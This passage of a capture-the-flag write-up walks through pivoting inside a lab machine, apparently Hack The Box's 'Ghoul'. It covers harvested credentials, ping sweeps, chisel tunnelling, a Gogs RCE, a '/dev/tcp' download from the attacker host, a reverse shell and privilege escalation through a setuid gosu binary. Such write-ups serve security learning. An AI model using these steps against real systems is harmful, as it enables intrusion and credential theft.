I then check other php files, and this is the login.php file found under the http://10.10.10.101/users/login.php. I find credentials of kaneki:123456, noro:password123, and admin:abcdef. Note that Kaneki said an “ILoveTouka” after Noro said he needed access to the remote server.

login.php

After this, I realized that I may have skipped some steps, and I tried the passwords found on the login.php file, and the backup key files can be decrypted using the passwords except for the user kaneki. Logging in to the /users/login.php gives us this page:

Checking out the other php files, I find nothing useful. I then decided to move on.

Pivoting to 172.20.0.150:

I then check my IP address, and see what subnet I’m in:

ifconfig

I notice that my IP is 172.20.0.10. I then perform a ping sweep to see active hosts. I find a new IP which is 172.20.0.150.

root@Aogiri:/# for ip in $(seq 1 254) ; do (ping -c 1 172.20.0.$ip | grep "bytes from"| cut -d':' -f1 | cut -d' ' -f4 &); done

172.20.0.1

172.20.0.10

172.20.0.150

I upload an nmap static binary from here so I can enumerate open ports. Note that this can be done using a for loop also:

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

I upload it to the machine using SCP and upload it to the tmp directory:

scp -i ghoul_htb nmap root@10.10.10.101:/tmp

Running nmap:

Note that it looks for files that are not present in the machine. I can opt to copy what’s inside my /etc/services, or perform an SSH remote port forward, so I can nmap the host locally from machine. After finding out that SSH is open on 172.20.0.150, I look into my notes and remember that there is a kaneki_pub user from kaneki-pc. I then tried to ssh using kaneki’s private key and used the string “ILoveTouka” for the password, which was from the secrets.php file earlier, and it worked!

Kaneki-PC

Reading what’s inside the to-do.txt file:

kaneki_pub@kaneki-pc:~$ cat to-do.txt

Give AogiriTest user access to Eto for git.

So I find another username AogiriTest for git.

Checking the /home directory:

I find 2 users, kaneki_adm and kaneki_pub.

I then check configuration of interfaces:

Notice that the eth1 interface has an ip of 172.18.0.200. I then run another ping sweep to check hosts on the 172.18.0 network. Notice that there is another host on 172.18.0.2.

kaneki_pub@kaneki-pc:~$ for ip in $(seq 1 254); do (ping -c 1 172.18.0.$ip | grep "bytes from" |cut -d ":" -f1 | cut -d " " -f4 &) ; done

172.18.0.1

172.18.0.2

172.18.0.200

I then upload nmap to the kaneki-pc from the Aogiri host by performing another SCP, saving it to the tmp directory:

scp -i /home/kaneki/.ssh/id_rsa nmap kaneki_pub@172.20.0.150:/tmp

Checking the /tmp directory of kaneki-pc:

I see that the nmap is transferred, and some weird folders named ssh-XXXXXXX. I proceed with my nmap:

Running nmap on the 172.18.0.2, I find 2 ports. Note that I have been waiting for the Gogs service to come out, and Gogs service usually runs in port 3000.

I then tried to check what port 3000 gives:

So port 3000 is the Gogs server. Knowing that an RCE for Gogs was mentioned, I looked up for an RCE. I find this:

https://github.com/TheZ3ro/gogsownz

Tunneling to 172.18.0.2:

Since we cannot access the 172.18.0.2 host from our Kali machine, and putting the exploit on the containers, I then decided to create a tunnel to port 3000 of 172.18.0.2. Since we do not have ssh credentials for the Gogs server, I then use chisel.

I first knew of chisel from ippsec ❤. Watch his awesome video on Reddish (which he performs a lot of tunneling). You can also refer to this if you want a written form of tunnelling:

https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html

Going back, I download first the chisel binary on my machine and reduced the binary file also, to ease up the transferring of files(also on the video and writeup on how to do it).

I first transfer the chisel binary on the kaneki-pc container:

chisel transfer

I now forward port 3000 of the 172.18.0.2 host.

Basically, I tell the chisel client(kaneki-pc) to connect to my chisel server(my host) AND any traffic sent to port 3001 will be forwarded to the port 3000 on the host 172.18.0.2. The diagram looks like this:

The green line is the chisel connection, and the red line represents any traffic sent to localhost 3001 will be forwarded to port 3000 of the Gogs server.

Accessing localhost:3001:

I cannot try yet the RCE since I don’t have a password for the AogiriTest user. I enumerated and found a password in the /usr/share/tomcat7/conf/tomcat-users.xml from the Aogiri container.

<!--

<role rolename="tomcat"/>

<role rolename="role1"/>

<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>

<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>

<user username="role1" password="<must-be-changed>" roles="role1"/>

--> <user username="admin" password="admin" roles="admin" />

<role rolename="admin" />

<!--<user username="admin" password="test@aogiri123" roles="admin" />

<role rolename="admin" />-->

</tomcat-users>

I then tried this password to the Gogs service, and it works!

Before trying the RCE, I first investigate thru Burp how the authentication is being sent:

Notice that it uses the cookie i_like_gogits, which can be used in the RCE. Checking the help of gogsownsz.py:

Reverse shell on Gogs:

Since the Gogs server has no connection to our host, I first tried to upload a static binary of ncat to kaneki-pc, which will catch the shell.

toor@CJ:~/ghoul$ nc -nlvp 9001 < ncat

Listening on [0.0.0.0] (family 0, port 9001)

Connection from 10.10.10.101 38252 received!

toor@CJ:~/ghoul$ md5sum ncat

1b3b9f07acfe786081d4e52ad67e0983 ncat

kaneki_pub@kaneki-pc:/tmp$ cat < /dev/tcp/10.10.14.33/9001 > ncat

^C

kaneki_pub@kaneki-pc:/tmp$ md5sum ncat

1b3b9f07acfe786081d4e52ad67e0983 ncat

kaneki_pub@kaneki-pc:/tmp$

Now that I have ncat on kaneki-pc, I try the RCE with the syntax

I now get a shell on the Gogs server! Enumerating, I see that I’m the Git user. I quickly check for binaries with setuid set by invoking:

find / -perm -u=s -type f 2>/dev/null

The /usr/sbin/gosu binary stands out. Checking online leads me to this repository:

https://github.com/tianon/gosu

Checking its usage:

I try to run commands as root, and see that it works. I list files under the /root/ directory:



/usr/sbin/gosu root bash -c 'whoami'

root /usr/sbin/gosu root bash -c 'ls -al /root/'

total 128

drwx------ 1 root root 4096 Dec 29 2018 .

drwxr-xr-x 1 root root 4096 Dec 13 2018 ..

lrwxrwxrwx 1 root root 9 Dec 29 2018 .ash_history -> /dev/null

lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null

-rw-r--r-- 1 root root 117507 Dec 29 2018 aogiri-app.7z

-rwxr-xr-x 1 root root 179 Dec 16 2018 session.sh

Seeing that there is an interesting 7z file, I then exfil it out of to my local machine.

Investigating aogiri-app

I first run git log and see some commits:

git log

Enumerating more, to show commits that touch the specified paths, and diffs about the same specified paths inside, I invoke:

git log -p .

I now see a password for kaneki. I tried it to the kaneki-pc to elevate as kaneki_adm and kaneki_pub, it doesn’t work. Even for root.

I then enumerate by checking the ORIG_HEAD:

git show ORIG_HEAD

I see more credentials. I try each passwords to each user and what worked was:

root:7^Grc%C\7xEQ?tb4

Great. I am now root, and can read a file called root.txt, but its’a troll.. 😫

I first check what’s inside the kaneki_adm directory:

kaneki_adm

I then check what’s inside the tmp folder and see folders weird directories starting on ssh.

I then run ps aux to see what processes are running: